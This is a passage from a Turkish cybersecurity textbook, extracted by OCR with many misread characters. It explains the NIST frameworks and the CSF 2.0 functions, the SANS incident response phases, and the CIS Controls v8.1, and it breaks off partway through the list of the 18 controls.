saglar.

1.1.4.1. NIST [The National Institute of Standards and Technology (Ulusal Standartlar
ve Teknoloji Enstitiisi)]

Amerika Ticaret Bakanliginin bir parcasi olan NIST, 1907 yilinda kurulur. Baslangicta enerji santralleri,
barajlar gibi kritik altyapilari glivence altina almak icin olusturulan bu cerceve, zamanla bircok teknolojiyi
destekleyip, yaygin olarak kullanilir. Akilli elektrik sebekelerinden elektronik saglk kayitlarina, atom
saatlerinden gelismis nano malzemelere kadar pek cok Uriin ve hizmet; Ulusal Standartlar ve Teknoloji
Enstitlistnin (NIST) sagladigi teknoloji, 6lcim ve standartlara dayanir. NIST cerceveleri, her bayuklukteki
kurulusun siber givenlik risklerini yonetmek, gizliligi korumak, yapay zeka kullaniminda riskleri
azaltmak, siber glivenlik uzmani yetistirmek gibi cesitli konularda hedeflere ulasiimasina rehberlik eder.
NIST ¢ergeveleri sunlardir:

NIST Cybersecurity Framework: Kuruluslarin kritik altyapilarini korumak, mevcut siber glivenlik
durumlarini degerlendirmek, siber glivenlik risklerini daha iyi anlamak ve yonetmek icin tasarlanan
bir rehberdir. Tanimla, koru, tespit et, yanit ver, iyilestir ve yénet adimlarini iceren bir yaklasim sunar.

NIST Risk Management Framework: Kamu kurumlari, kritik altyapilar gibi yiksek riskli kuruluslara
ait bilgi sistemlerinin glvenligini saglayan cercevedir. Hazirlik, kategorize et, kontrolleri seg, uygula,
degerlendir, yetkilendir ve izle adimlarini iceren yedi asamali bir siire¢ sunar.

NIST Privacy Framework: Paydaslarla ortaklasa hazirlanan bu cergeve, kuruluslarin ve bireylerin
gizliligini korurken ayni zamanda yenilik¢i ¢oziimler Uretilmesine ve gizlilik risklerinin kontrol altina
alinmasina destek saglar.

NIST Al Risk Management Framework: Kuruluslarin, yapay zeka risklerini proaktif ve bitinsel bir
yaklasimla ele almasini saglayan bir rehberdir. Yapay zeka Grtnlerinin, hizmetlerinin veya sistemlerinin
tasarimi, gelistirilmesi, kullanimi ve degerlendirilmesi siireglerinde giivenilirligin artirilmasini hedefler.
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NICE Workforce Framework for Cybersecurity: Siber glivenlik is glicli cergevesi, siber giivenlik alanindaki
is rollerini tanimlamak ve bu isleri yapabilmek icin gerekli bilgi, beceri ve yetenekleri standartlastirmak
icin ortak bir dil olusturur. Bu yapi, farkh kuruluslar ve sektorler arasinda siber glivenlik rollerinin tanimi
konusunda tutarhlk saglar.

Bilgi Kutusu

NIST SP 800 Serisi kilavuzlar, NIST gergevelerinin nasil uygulanacagini adim adim agiklayan teknik rehber-
lerdir. Bu dokiimanlar; siber gilivenlik risk yonetimi, olay midahale, kimlik dogrulama, kriptografi, bulut
glvenligi gibi spesifik konularda detayli ¢éziimler sunar. Her kilavuz, SP 800 kodundan sonra gelen 6zel bir
numara ile tanimlanir. Ornegin SP 800-61, olay miidahale siireclerini; SP 800-53, giivenlik kontrollerinin
\iygulanmasml detayli olarak agiklar. NIST SP 800 serisi kilavuzlari kendi resmi web sitesinde yer alir.

NIST Cybersecurity Framework (NIST CSF)

NIST CSF, farkh alanlardaki riskleri yonetmek ve hedeflere {C')“et"ﬁ/;,

ulagsmak igin kuruluglara yol gosteren dnemli bir aractir.

Genis yonetim cercevesiyle her buyuklikteki kurulusun NIST
kullanimina hitap eden esnek bir yapiya sahiptir. NIST Siber Giivenlik
CSF’nin yapisinda bes ana fonksiyon bulunur. Bunlar; Cercevesi

Tanimla, Koru, Tespit Et, Yanitla ve Kurtar fonksiyonlaridir.
2024 vyiinda vyayinlanan NIST CSF 2.0 versiyonuna
Yonetisim fonksiyonu eklenir. Bu fonksiyon, siber glivenlik
risk yonetiminin kurumsal yonetisim sirecleriyle uyumunu
saglar. NIST CSF 2.0'in yapisi Gorsel 1.7’de gorilir. Bu
vapiyla tim fonksiyonlarin birbiriyle iliskili ve es zamanlh
olarak ele alinmasi saglanir.

Gorsel 1.7: NIST CSF 2.0 yapisi

Yonetisim, Tanimla, Koru ve Tespit Et fonksiyonlarini destekleyen eylemler, siber giivenlik siirecinin
kesintisiz uygulanmasini saglarken; Yanitla ve Kurtar fonksiyonlarini destekleyen eylemler, siber olay
meydana geldiginde hemen devreye girecek sekilde hazir olmaldir. Her bir fonksiyon, siber glivenlik
olaylarinin 6énlenmesinde kritik 6neme sahiptir. Yonetisim, Tanimla ve Koru, siber glvenlik olaylarini
engellemeye ve olaylara hazirlikh olmaya odaklanirken; Yonetisim, Tespit Et, Yanitla ve Kurtar ise
olaylarin tespit edilip hizli bir sekilde onlara miidahale edilmesini saglar. NIST glivenlik cercevesinde yer
alan fonksiyonlarin agiklamalari su sekildedir:

1. Yonetisim (Govern): Bir kurulusun siber giivenlik risk ydnetim stratejisi ve politikalarinin belirlenmesi,
uygulanmasi ve izlenmesi sireclerini kapsar. Ayni zamanda diger bes fonksiyonun sonuglarina
ulasmaya ve oncelikleri belirlemeye yardimci olur. Yonetisim faaliyetleri, siber glivenligin kurulusun
daha genis kapsamli kurumsal risk yonetimi (ERM) stratejisine entegre edilmesi agisindan kritik
oneme sahiptir. Yonetisim; kurulusun yapisal baglaminin anlasilmasini, siber glivenlik stratejisi ve
tedarikzinciririskyonetiminin olusturulmasini, rollerin, sorumluluklarin ve yetkilerintanimlanmasini,
politikalarin gelistiriimesini ve siber glivenlik stratejisinin denetlenmesini igerir.
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Tanimla (ldentify): Bir kurulusun mevcut siber gilivenlik risklerinin belirlenmesidir. Bir kurulusun
sahip oldugu tim varliklari ve bunlarla ilgili siber tehlikeleri tanimasi gereklidir. Béylece kurumun
hedeflerine ve risklerine en uygun dnlemler alinir.

Koru (Protect): Siber riskler belirlendikten sonra bunlarin gerceklesmesini 6nlemek veya etkilerini
azaltmak icin alinmasi gereken tiim 6nlemleri icerir. Kimlik dogrulama, erisim kontrold, fiziksel ve
sanal ortam glivenligi, farkindalik egitimleri gibi ¢esitli uygulamalarla koruma saglanir.

Tespit Et (Detect): Siber glvenlik saldirilarini ve ihlallerini tespit eder. Bu fonksiyon; sistemde
meydana gelen anormallikleri, ihlal gostergelerini ve diger saldiri girisimlerini zamaninda tespit
ederek olay yaniti ve kurtarma faaliyetlerini destekler.

Yanitla (Response): Tespit edilen olayla ilgili yapilacak eylemleri kapsar ve olayin etkilerini kontrol
altina almayi destekler. Bu fonksiyonun sonuglari; olay yénetimi, analiz, nleme (6nleme), raporlama
ve iletisim sireclerini de kapsar.

Kurtar (Recover): Olay sonrasinda etkilenen varliklarin ve operasyonlarin geri yiuklenmesidir.
Kurtarma fonksiyonu, siber glivenlik olayinin etkilerini azaltmayi ve veri isleyisini en kisa zamanda
normale déndirmeyi destekler.

NIST givenlik cercevesinde yer alan her fonksiyon, kategorilere ve alt kategorilere ayrilarak siber
glvenlik olaylarinin daha detayl ve yonetilebilir bir slrec¢ olarak ele alinmasini saglar. Bu kullanim,
kuruluslarin kendi ihtiyaglarina uygun siber giivenlik dnlemleri almalarina yardimci olur. Gorsel 1.8’de
fonksiyonlarin kategorilere ve alt kategorilere ayrilmasi gorulir.

Siber Giivenlik Cercevesi Temel Bilesenleri

Kategori Alt Kategori

=

aciklarini belirleme

Varlik Yonetimi

Tanimla ) ” ) Risk degerlendirmesi
Risk Degerlendirme metadolojisini tanimlama

Riskleri diizenli olarak

Anomali ve olaylar . .
y degerlendirme

Tespit Et

Surekli izleme Riskleri 6nceliklendirme ve

raporlama

Kurtarmayi planlama
Kurtarma planlari

olusturma

iyilestirme

Kurtarma sireglerini
test etme

Kurtarma planlarini ilgili
taraflarla koordine etme

Gorsel 1.8: Fonksiyonlarin kategorilere ve alt kategorilere ayrilmasi
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NIST Giivenlik Profilleri: Bir kurulusun hem mevcut hem de ulasmak istedigi siber glivenlik durumunun
NIST fonksiyonlarinin sonuglariyla ifade edilmesine organizasyon profili denir. Bu profil; kurulusun
hedeflerine, paydas beklentilerine ve gereksinimlerine gore siber glivenlik dnceliklerini belirlemesine
yardimci olur. Topluluk profili ise benzer kuruluslarin siber glivenlik hedeflerini ve ilgi alanlarini yansitan
profildir. Organizasyon profili olusturma adimlari su sekildedir:

« Organizasyon profilinin kapsamini belirleyin.

» Organizasyon profilini hazirlamak igin gerekli bilgileri toplayin.

« Organizasyon profilini olusturun.

« Mevcut ve hedef profiller arasindaki bosluklari analiz edin ve bir eylem plani olusturun.
« Eylem planini uygulayin ve organizasyon profilini glincelleyin.

« Tum adimlari tekrarlayin.

1.1.4.2. SANS (SysAdmin, Audit, Network, Security)

1989 yilinda bilgi glivenligi ve liderligi icin kurulan SANS Enstitis(, siber glivenlik uzmanlarinin ihtiyag
duydugu pratik bilgi ve becerileri saglayan 6zel bir kurulustur. Enstitii, siber glivenlik uzmanlarinin
ihtiyaclarini karsilamak icin ylksek kaliteli egitimler, sertifikalar, burs akademileri, derece programlari,
siber menziller ve gesitli kaynaklar sunarak onlari destekler. SANS Enstitlisii, olay miidahale planini alt
adiml bir siireg olarak ele alir (Gérsel 1.9).

Tanimlama

Kisitlama

Yok Etme

Kurtarma

Gorsel 1.9: SANS olay mudahale plani

1. Haazrlik (Preparation): Buasamada kurulusun mevcut glivenlik dnlemleri, prosedirlerive politikalari
degerlendirilir. Hazirlik asamasi, bir kurulusun siber olaylara miidahale etmeye hazirlik durumunu
iyilestirmek ve varliklarin en yiiksek derecede korunmasini saglamakla ilgilidir. Bu asamanin amaci,
siber olaya aninda ve etkili yanit vermeyi saglamaktir. Siber olay aninda kimin ne yapacagi, kimlerle
nasil iletisim kurulacagl, hangi araclarin kullanilacagi ve nasil belgeleme yapilacagl onceden
belirlenmelidir. Hazirlik asamasini planlarken dikkat edilmesi gereken 6nemli noktalar sunlardir:

« Guvenlik politikalarinin belirlenmesi ve bunlarin ¢alisanlar tarafindan bilinmesinin saglanmasi
« Saldirilarin 6nem derecelerine gore siralanip her birine karsi miidahale seklinin belirlenmesi
« Saldiri anindaki iletisim planinin olusturulmasi

- Saldiriyla ilgili her seyin kaydedilip belgelenmesi
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Farkli alan uzmanlarindan olusan yetkin bir CSIRT ekibinin olusturulmasi

CSIRT ekibinin sahip olmasi gereken yetkilerin saglanmasi

CSIRT ekibi igin diizenli egitimlerin verilmesi ve tatbikatlarin yapiimasi

Saldiri karsisinda kullanilacak yazilim ve donanimlarin hazir bulundurulmasi

Tanimlama (ldentification): Bir kurulusta tespit edilen anormal durumlarin bir siber olay olup
olmadiginin belirlenmesidir. Siber olay tanimlama siirecinin adimlari sunladir:

« Kurulusun tiim hassas sistemleri siirekli olarak izlenir.

» GUnllik dosyalar, hata mesajlari ve glivenlik araglarindan gelen olaylar analiz edilir.

- Birden fazla kaynaktan gelen veriler iliskilendirilerek olay tanimlanir ve raporlama saglanir.
« CSIRT ekibi bilgilendirilir ve belirlenen komuta merkeziyle iletisim kurulur.

« Aktif bir olayda biri olayi ydneten ve karar veren, digeri arastirma yapan ve kanit toplayan olmak
Uzere en az iki kisi gdrevlendirilir.

» Olay mudahalesinde yapilan her sey; kim, ne, ne zaman, nerede, neden ve nasil sorularina cevap
verecek sekilde belgelenir.

« Tum yaygin siber olay tirlerine karsi saldiri dnleme ve tespit sistemleri kullanilhr.

Kisitlama (Containment): Siber olay girisimi dogrulandiktan sonra yapilacak ilk islem, saldirinin
neden oldugu hasarin sinirlandiriimasi ve daha fazla hasarin 6énlenmesidir. Bu asamada hizli
muidahale cok énemlidir. SANS kisitlama siirecinde olayin hafifletiimesini saglamak ve arastirma
icin gerekebilecek kanitlarin yok edilmesini 6nlemek amaciyla su islemler yapilir:

« Kisa Vadeli Kisitlama (Short-Term Containment): Saldiriya maruz kalan sistemlerin hemen diger
sistemlerden ayrilmasi islemidir.

« Uzun Vadeli Kisitlama (Long-Term Containment): Saldiridan etkilenmemis sistemleri korumak
ve daha givenli hale getirmek i¢in yapilan islemlerdir. Uzun vadeli kisitlamanin amaci, saldirgan-
lar tarafindan sistemlerde birakilan hesaplari veya arka kapilari kaldirmaktr.

- Sistem Yedekleme (System Backup): Bir siber saldiri sonrasinda etkilenen sistemlerin adli gérin-
tist alinmahdir. Bu gorintuler, saldirinin nasil gergeklestigine dair dijital kanit olarak kullanilir. Bu
kanitlar, saldirinin detayli incelenmesine yardimci olurken benzer saldirilar icin de dnlem almayi
kolaylastirir. Kanit toplama isleminden sonra etkilenen sistemler silinip yeniden temiz bir kuru-
lum yapilr.

Yok Etme (Eracidation): Saldirinin kapsaminin tam olarak anlasildigi ve etkilenen sistemlerin
tespit edildigi asamadir. Yok etme siireci; saldirganlari agdan cikarmayi, tehlikeye girmis sistemleri
temizlemeyi ve etkilenen sistemleri geri yiklemeyi amaclar. Bu asamada saldirinin tim izleri
(tamamen) silinir. SANS ortadan kaldirma sireci su islemleri igerir:

» Sistemin tamamen temizlendiginden emin olmak igin sabit strtculer silindikten sonra yeniden
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» Olayin temel nedeni anlasildiktan sonra gelecekteki olasi saldirilara karsi gerekli énlemler alin-
malidir.

« Saldiri sonrasinda sistemlerin giivenligi artirilmalidir (Ornegin yazilimlarin en giincel siiriimlerine
yikseltilmesi, kullanilmayan hizmetleri devre disi birakmak vb.).

» Etkilenen sistemler glivenilir bir antivirls yazilimiyla taranip temizlenmelidir.

5. Kurtarma (Recovery): Olay miidahale ekibi, saldiri sonrasinda glincellenmis veya degistirilmis
sistemleri yeniden kullanilabilir hale getirir. Amag, sistemin isleyisini normale déndirmektir.
Kurtarma sonrasinda glvenlik aciklarinin yeniden kullanilmadigindan ve saldirganlarin geri
donmediginden emin olmak icin sistemler izlenmeye devam edilir. SANS kurtarma prosediri su
islemleri kapsar:

« CSIRT’den alinan bilgilere gore hizmetlerin geri yiklenecegi tarih ve zaman belirlenmelidir.
+ Sistemler, tamamen temiz ve dogru calistiklarindan emin olmak amaciyla test edilmelidir.
« Sistemler izlenerek anormal davranislarin olup olmadigi kontrol edilmelidir.

» Benzer olaylarin tekrar etmemesi icin gerekli dnlemler alinmalidir.

6. Alinan Dersler (Lesson Learned): CSIRT Uyeleri tarafindan olay midahale sirecinin kapsamh
olarak incelendigi asamadir. Etkili olan ve yetersiz kalan uygulamalar bu asamada degerlendirilir.
Gelecekteki siber olaylara karsi daha etkili yanit verebilmek icin zayif olan uygulamalar iyilestirilir.
SANS alinan dersler sireci sunlari kapsar:

« Olay aninda ve olay sonrasinda kapsamli belgelendirme yapilmalidir.

« Tum olayl adim adim inceleyen bir rapor olusturulmalidir (Kim, ne, ne zaman, nerede, neden ve
nasil sorulariyla rapor detaylandirilir.).

CSIRT tarafindan olay raporunda dogru ele alinmayan prosedirler degerlendirilip gerekli iyiles-
tirmeler yapiimalidir.

- Gelecekteki olaylara rehberlik yapmasi icin karsilastirma yapabilmek amaciyla referans noktalar
olusturulmalidir.

« CSIRT uyeleri ve ilgili paydaslarla bir araya gelerek 6grenilen derslerin uygulanabilirligi tGzerine
degerlendirme toplantisi yapmalidir.

SANS olay raporu hazirlanirken konuyu detaylandirmak igin kullanilan sorulardan bazilari sunlardir:
« Sorun ilk olarak ne zaman ve kim tarafindan tespit edildi?
« Olayin kapsami nedir?
« Olay nasll kisitlandi ve yok edildi?
« Kurtarma sirasinda hangi ¢alismalar yapildi?
« CSIRT ekipleri hangi alanlarda etkili oldu?

« lyilestiriimesi gereken alanlar nelerdir?

Kapsamli bir rapor hazirlanarak siirecin daha iyi analiz edilip degerlendirilmesi saglanir.
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1.1.4.3. CIS [Center for Internet Security (internet Giivenligi Merkezi)]

internet Giivenligi Merkezi; dijital diinyayi daha giivenli bir yer haline getirmeyi amaclayan ve kar amaci
glUtmeyen bir kurulustur. Siber giivenligi proaktif bir yaklasimla ele alan CIS, kiiresel ¢apta kabul goren
U¢ temel hizmeti gelistirmistir (Gorsel 1.10).

CIS Hardened Images
(CIS Guglendirilmis

CIS Bencmarks

CIS Controls

(CIS Kontrolleri)

Bilgi sistemlerinin gii-
venligini saglamak icin
uygulanabilir ve olgek-
lendirilmis temel giiven-
lik oOnlemlerini iceren
standarttir. “Giivenligi en
list diizeyde saglayabil-
mek icin ne yapilmali?”
sorusuna cevap arar.

(CIs Olgiitleri)

isletim sistemleri, bulut
servisleri ve ag cihazlan
icin giivenli yapilandirma
ayarlarini detayh bir se-
kilde agiklayan teknik uy-
gulamalar kilavuzu ve ya-
pillandirma standardidir.
“Nasil yapilmali?” sorusu-
na cevap arar.

Goriintiiler)

CIS kiyaslamalarinda be-
lirtilen giivenlik standart-
larina uygun sekilde on-

ceden vyapilandirilmis ve
bulut ortaminda kullani-

ma hazir olarak sunulmus
gilivenli sanal makine go-
riintiileri (imajlari) ve sis-
tem sablonlaridir.

Gorsel 1.10: CIS temel hizmetleri

CIS Controls (CIS Kontrolleri): Kuruluslarin sahip oldugu varliklari (donanim, yazihm, veri vb.) en
vaygin siber saldiri tirlerine karsi etkili bir sekilde korumak icin kullanilan detayli eylemler dizisidir.
Teknolojideki degisimlere paralel olarak farkli versiyonlari gelistirilir. ilk siirimii olan v7’de toplam
20 adet kontrol bulunur. Bunlar temel kontroller, savunma kontrolleri ve organizasyonel kontroller
olmak Uzere (¢ gruba ayrilir. Sirekli degisen tehdit ortami, teknolojik gelismeler, farkli ihtiyaclar ve
bazi uyum gereksinimleriyle v8 gelistirilir. Bu slirimde 18 adet kontrol kullanilirken her kontrol icin
ayri ayri uygulama gruplari (implementation groups) kullanilmaya baslanir. Ayrica bulut teknolojisi,
mobil cihazlar, 10T gibi varlik yapilari glincellenerek NIST CFS ile uyum artirilir. Bu slirimdeki yapinin
iyilestiriimesi, netliginin artirilmasi ve diger giivenlik cerceveleriyle uyumunun glglendirilmesiyle v8.1
strim gelistirilir.

CIS Controls V8.1: Kuruluslarin siber glivenlik programlarini etkili bir sekilde yonetmesi, uygulamasi ve
tasarlamasi igin daha net, tutarli ve baglamsal bir ¢cergeve sunar. CIS Controls v8.1'in temel 6zellikleri
sunladir:

+ Guvenlik tedbirlerine spesifik drnekler ve agiklamalar eklenerek kapsami ve uygulanabilirligi artiril-
mistir.

« Uygulanan glivenlik tedbirlerini daha iyi eslestirmek icin yeni varlik sinirlari eklenmistir.

« Kontrollerde kullanilan 6zel kelimler igin yeni sozliik tanimlari eklenmistir.

« Varlk siniflari glincellenerek giivenlik tedbirleriyle yeni eslestirmeler yapilmistir.

+ Guvenlik tedbiri agiklamalarindaki bazi yazim hatalari diizeltilip eksik agiklamalar netlestirilmistir.

« Siber glvenlik programinin stratejik yonetimini glglendirmek ve risk karar stireglerini iyilestirmek

icin Yonetisim glivenlik fonksiyonu eklenmistir.
« NIST CFS 2.0 ile tam uyumluluk saglanmistir.
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CIS Kontrollerinin Yapisi: CIS Controls v8.1’de her kontrol igin uygulanmasi gereken giivenlik
tedbirleri (Safegurads) detaylandirilir. Ayrica kontrollerin uygulanma seviyeleri, uygulama gruplariyla
(Implemention Groups) belirlenir. Gorsel 1.11’de 1 numarali kontroliin yapisi gorilir.

CONTROL1
Inventory and Control of Enterprise Assets

c1: @D | c2: @D

Gorsel 1.11: 1 numaral kontroliin yapisi

1G3:

Safeguards: 5 5/5

Kontrol basliginda kontroliin numarasi ve acgiklamasi yer alir. Glvenlik tedbirleri kisminda yer alan
Safegurads 5 ifadesi, bu kontroli uygulamak icin bes farkh alt glvenlik tedbiri oldugunu belirtir.
Uygulama gruplari (IG) ise farkl 6lgekteki kuruluslar icin uygulanmasi gereken givenlik tedbirlerinin
seviyesini gosterir. Buna gore 1 numaral kontrol igin saglanan bes adet gilivenlik tedbirinden; 1G1
seviyesinde 2, 1G2 seviyesinde 4 ve IG3 seviyesinde 5 adedinin uygulandigi gorilir. Uygulama gruplarinin
karsilastirilmasi Tablo 1.1’de gorilir.

Tablo 1.1: Hareket Bloklari

Uygulama Organizasyon | IT ve Giivenlik H:slzla(s‘ileet Giivenlik Tedbirleri
Grubu Profili Yetkinligi Dﬁzeyyi (Safegurads)
Kolay uygulanabilir glivenlik
tedbirlerini kapsar.
Kiicik ve Sinirh IT ve Diisiik S
IG1 (Temel ta Slcekli siber guivenlik h vetli Hazir ticari yazilim ve
Seviye) orta ofgexll uzmanlig assaslye donanimlarla uyumludur.
isletmeler meveut veriler
Gelen saldinlara kargi koruma
saglar.
Daha karmasik yapidaki
L ortami ydnetmeyi saglar.
P Musteri ve
's‘i\znf,?tﬁsl (t?igt/au\lieblgekli Is-:-byec:‘ngeujf\llr:rlll\illf Isletmelere | = Kurumsal teknoloji ve
A . o ait hassas uzmanlik gerektirir.
Dahil) isletmeler ekipleri mevcut veriler
Regiilasyon uyumlulugu
onemli bir faktordir.
Geligmis tehditlere ve hedefli
saldirlara karsl koruma
Biyik Hlceki Siber gluvenhk Viiksek saglar.
IG3 (Geligmis | kuruluslar, :i?agnaerul"mi hassasiyetli Sifirinci gin saldirilarini
Seviye, IG1 | devlet tyhd't veriler hafifletmeye yonelik énlemler
ve I1G2 Dahil) | kurumlari ve ;/siihebar;h ve kritik icerir.
kritik altyapilar ekipleri mevcut hizmetler Uyumluluk ve regiilasyon
gereklilikleri siki bir sekilde
yonetilir.
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Varliklar Sinifi (Assets Classess): Siber guvenlik risklerinin degerlendirilmesine ve uygun gilvenlik
kontrollerinin uygulanmasina yardimci olur. CIS Controls v8.1'de kullanilan temel varlik siniflari ve bu
siniflarin altinda bulunan varlik tirleri Gorsel 1.12°de gorilir.

Asset Classes

m Network Documentetion
Network
Workforce
Infrastructure
Service Network
Providers Architecture

Administrator

Enterprise

Applications Sensitive Data

Assets

End-user

Log Data
Devices g

Libraries

Portable

Physical Data Processes

HaH

Procedures

Operating Accounts

Systems

Jnmg
LT

Internet of
things (loT)
and non-
computing
device

Service
Accounts

Libraries

Network
Devices

Removable
Media

Gorsel 1.12: Varlik siniflari ve varlik turleri

1. Cihazlar (Devices): Kuruluslarin sahip oldugu donanim varliklarini kapsar. Alt tiirlerinde ise kurumsal
varliklar, son kullanici cihazlari, sunucular, nesnelerin interneti, ag cihazlari ve gikarilabilir medyalar
yer alir.

Yazilim (Software): Kuruluslarin kullandigi yazilim varliklarini kapsar.
Veri (Data): Kurulusa ait veri varliklarini kapsar.
Kullanicilar (Users): Kurulusun sistemlerine erisim saglayan kisileri ve hesaplari kapsar.

Ag (Network): Kurulusun ag altyapisini kapsar.

o u & W N

Dokiimantasyon (Documentation): Kurulusun givenlik slreclerini ve politikalarini agiklayan
belgeleri kapsar.
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L

Guvenlik Tedbirleri (Safeguards): Kuruluslarin siber glivenlik tedbirlerini iyilestirmek igin uygulanmasi
gereken somut eylemleri ifade eder. CIS Controls v8.1’de yer alan 18 adet kontrole ait giivenlik tedbirleri
ve bunlara ait detayli tedbirler yer alir. Gorsel 1.13’te 1 numarali kontrole ait bes farkl alt givenlik
tedbirlerinin detaylari goralir.

CONTROL1
Inventory and Control of Enterprise Assets

safeguards: 5 | 1GL @) 1c2CD 16:@D
\

—» Safeguard 1.1: Establish and Maintain Detailed Enterprise Asset Inventory

Asset Type: Devices = Security Function: 1047 (161 X'1G2 X 1G3 ]

‘ —— Safeguard 1.2: Address Unauthorized Assets

AssetType: Devices = Security Function: () €& D G

—— Safeguard 1.3: Utilize an Active Discovery Tool
‘ AssetType: Devices | Security Function: G000 | (2 (B

—» Safeguard 1.4: Use Dynamic Host Configuration Protocol (DHCP) Logging to Update
Enterprise Asset Inventory

‘ Asset Type: Devices = Security Function: {5107 [1G2 ] @

——» Safeguard 1.5: Use a Passive Asset Discovery Tool

Asset Type: Devices @ Security Function: tect | @

Gorsel 1.13: 1 numarali kontrole ait bes farkli alt givenlik tedbiri

Kontrolin taniminda yer alan bes glivenlik tedbiri; safeguards 1.1, 1.2, 1.3, 1.4 ve 1.5 biciminde alt
kontroller olarak yer alir. Alt kontrolde bulunan Varlik Turi (Asset Type) olarak Cihazlar (Devices)
belirtilmistir. Bu kontrolin cihazlarla ilgili olan siber glivenlik dnlemlerini detaylandirir.

Guvenlik tedbirinin destekledigi glivenlik fonksiyonu Security Function ile gosterilir. CIS Controls v8.1'de
NIST CFS ile uyumlu bes temel giivenlik fonksiyonu bulunur. Bu fonksiyonlar; Tanimla (ldentify), Koru
(Protect), Tespit Et (Detect), Yanitla (Respond) ve Kurtar (Recover) bicimindedir.

Her bir alt kontrole ait desteklenen uygulama gruplari (IG) ayri ayri gosterilir. Ana kontrolde yer alan 1G1:
2/5,1G2: 4/5 ve 1G3: 5/5 ifadeleri ise toplamda bes alt glivenlik tedbirinden ka¢ adedinin uygulandigini
gosterir.

CIS 18 Temel Giivenlik Kontrolii: Siber tehditlerin sayisinin ve karmasikliginin giderek artmasi,
kuruluslarinin varliklarini korumak icin giiclii ve uygulanabilir glivenlik dnlemlerine olan ihtiyaci da
beraberinde getirir. CIS'nin sundugu 18 temel glivenlik kontroli, siber saldirilara karsi en etkili savunma
yontemlerini belirleyen ve kuruluslarin glivenlik seviyelerini artirmayi amaclayan bir cerceve saglar.
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Gorsel 1.14’te 18 temel glivenlik kontroll goralir.

isletmelerin Yazilimlarin

kontrolleri kontrolleri Veri koruma

Yazilimlarin
giuvenli
yapilandirilmasi

Hesap Erisim kontrolii
yonetimi yonetimi

Denetim E-posta ve
ginliigii web tarayici
yonetimi korumasi

Givenlik acig1
yonetimi

Kotii amacli

yazilim Veri kurtarma
savunmasi

Ag altyapisi
yonetimi

Givenlik Servis
farkindaligi saghiyici
egitimi yonetimi

Ag izleme ve
savunma

Uygulama
ve yazilim
guvenligi

Olay miidahale
yonetimi

Gorsel 1.14: 18 temel glivenlik kontrol

CIS Kontrolleri v8.1’de tanimlanan 18 temel kontrol sunlardir:

1. Inventory and Control of Enterprise Assets (Kurumsal Varliklarin Envanteri ve Kontrolii): Bir
kurulusun altyapisini olusturan fiziksel, sanal, uzaktan veya bulut ortamlarinda bagli olan tim
varliklarinin (ug cihazlar, ag cihazlari, sunucular, loT cihazlar vb.) aktif sekilde yonetilmesidir.
Bu kontrolle izlenmesi ve korunmasi gereken varliklarin tam tespiti yapilir. Ayrica yetkisiz veya
yonetilmeyen cihazlar belirlenerek bunlarin kaldirilmasi veya diizeltilmesi saglanir.

2. Inventory and Control of Software Assets (Yaziim Varliklarinin Envanteri ve Kontrolii): Ag
ortaminda kullanilan igletim sistemi veya uygulama yazilimlarinin aktif olarak yénetilmesidir. Bu
kontrolle yetkili yazilimlarin yiklendiginden ve calisabildiginden emin olunur. Ayrica yetkisiz veya
yonetilmeyen yazilimlar tespit edilerek bunlarin yiklenmesi veya galistirilmasi engellenir.

3. Data Protection (Veri Koruma): Kurum icindeki tim verilerin tanimlanmasi, siniflandiriimasi,
islenmesi, saklanmasi ve yok edilmesi slreclerinin yonetilmesidir. Bu kontrolle veriye yetkisiz
erisim engellenir, veri sizintisi veya yasal uyumsuzluk riskleri minimize edilir. Bu kapsamda, kurum
icindeki tiim veri kaynaklari belirlenerek hangi verinin nerede ve kimin kontroliinde olduguyla ilgili
kayit envanteri olusturulur. Veriler hassasiyet seviyesine (gizli, i¢c kullanim, herkese acik vb.) gore
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siniflandirildiktan sonra yasal diizenlemelere uygun sekilde etiketlenir. Verinin islenmesi siirecinde
veri erisim kontrolleri, sifreleme ve Uglincl sahislarla paylasimda glivenli aktarim yontemleri
kullantlir. Verilerin saklanmasi yasal politikalara gore yapilarak otomatik arsivieme ve yedekleme
surecleri saglanir. Kullanilmayan veriler ise giivenli bir sekilde yok edilir.

4. Secure Configuration of Enterprise Assets and Software (Giivenli Sistem ve Uygulama
Yapilandirmasi): Bir kurulusun sahip oldugu tiim donanim ve yazilim varlklarinin glivenli bir sekilde
yapilandiriimasi ve sirekli olarak korunmasidir. Bu kontrolle siber tehditlere karsi 6nlem alinir ve
givenlik agiklari en aza indirilir. Glvenli yapilandirmada temel glivenlik standartlari ve kilavuzlara
gore (CIS Benchmarks, NIST vb.) giiclendirme politikalari belirlenir. Varsayilan olarak gelen glivensiz
ayarlar degistiriimeli, gereksiz servisler ve ozellikler devre disi birakilmahdir. Merkezi yapilandirma
yonetimi icin Grup ilkesi Nesnesi (GPO), Mobil Cihaz Yénetimi (MDM) veya otomatik yapilandirma
araclari kullanilir.

5. Account Management (Hesap Yonetimi): Bir kurumun varliklarina ve yaziimlarina erisim saglayan
kullanici hesaplarinin olusturulmasi, atanmasi, yonetilmesi, devre disi birakilmasi, silinmesi, bu
hesaplara erisim yetkilerinin glivenli bir sekilde saglanmasi ve sirekli olarak izlenmesidir. Bu kontrol
ile hem yetkisiz erisim engellenir hem de i¢ tehditlere karsi koruma saglanir. Ayrica bir hesabin
olusturulmasindan silinmesine kadar gegen siireg glivenli bir sekilde tamamlanur.

6. Access Control Management (Erisim Kontrol Yénetimi): Bir kurulusun kaynaklarina kimlerin
erisecegi ve hangi yetkilerle neler yapabileceginin belirlenmesidir. Bu kontrol; yetkisiz erisimin
engellenmesini, hassas verilerin ve kritik sistemlerin korunmasini ve en az ayricalik ilkesine gore
minimum diizeyde erisimi hedefler. Erisim kontrol ydonetiminde kimlik tanimlama, kimlik dogrulama,
yetkilendirme ve denetim islemleri uygulanir.

7. Continuous Vulnerability Management (Siirekli Giivenlik Agigi Yonetimi): Bir kurulusun tim
varliklari Gizerindeki giivenlik agiklarinin strekli olarak degerlendirilip takip edilmesidir. Bu kontrol,
proaktif bir yaklasimla siber saldiri riskini 6nemli 6l¢clide azaltmayi hedefler.

8. Audit Log Management (Denetim Giinliigii Yonetimi): Bir kurumun altyapisinda gerceklesen
olaylarin kaydedildigi denetim gilinliiklerindeki bilgilerin, saldirilari tespit etmek amaciyla
kullanilmasidir. Bu siirecte olay giinlikleri; toplanir, analiz edilir, siipheli eylemler icin alarm Uretilir
ve sonraki incelemeler igin glivenli bir sekilde saklanir.

9. Email and Web Browser Protections (E-posta ve Web Tarayici Korumalari): Saldirganlarin dogrudan
etkilesim yoluyla insan davranisini manipiile eden aldatici e-posta veya web kanallari saldirilarina
